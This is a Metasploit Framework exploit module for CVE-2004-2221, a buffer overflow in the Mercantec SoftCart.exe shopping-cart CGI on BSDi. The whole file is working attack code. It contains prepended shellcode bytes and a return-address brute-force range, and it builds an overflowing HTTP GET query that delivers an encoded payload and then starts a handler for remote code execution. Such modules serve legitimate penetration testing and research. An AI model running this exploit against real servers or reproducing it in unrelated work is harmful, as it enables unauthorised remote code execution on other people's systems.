`##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Brute
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mercantec SoftCart CGI Overflow',
'Description' => %q{
This is an exploit for an undisclosed buffer overflow
in the SoftCart.exe CGI as shipped with Mercantec's shopping
cart software. It is possible to execute arbitrary code
by passing a malformed CGI parameter in an HTTP GET
request. This issue is known to affect SoftCart version
4.00b.
},
'Author' => [ 'skape', 'trew' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-2221'],
[ 'OSVDB', '9011'],
[ 'BID', '10926'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
'MinNops' => 16,
'Prepend' => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
'PrependEncoder' => "\x83\xec\x7f",
},
'Platform' => 'bsdi',
'Targets' =>
[
[
'BSDi/4.3 Bruteforce',
{
'Bruteforce' =>
{
'Start' => { 'Ret' => 0xefbf3000 },
'Stop' => { 'Ret' => 0xefbffffc },
'Step' => 0
}
},
],
],
'DisclosureDate' => 'Aug 19 2004',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
], self.class)
end
def brute_exploit(address)
buffer =
"MAA+scstoreB" +
rand_text_alphanumeric(512) +
[address['Ret']].pack('V') +
"MSF!" +
[address['Ret'] + payload.encoded.length].pack('V') +
payload.encoded
print_status("Trying #{"%.8x" % address['Ret']}...")
res = send_request_raw({
'uri' => datastore['URI'],
'query' => buffer
}, 5)
handler
end
end
`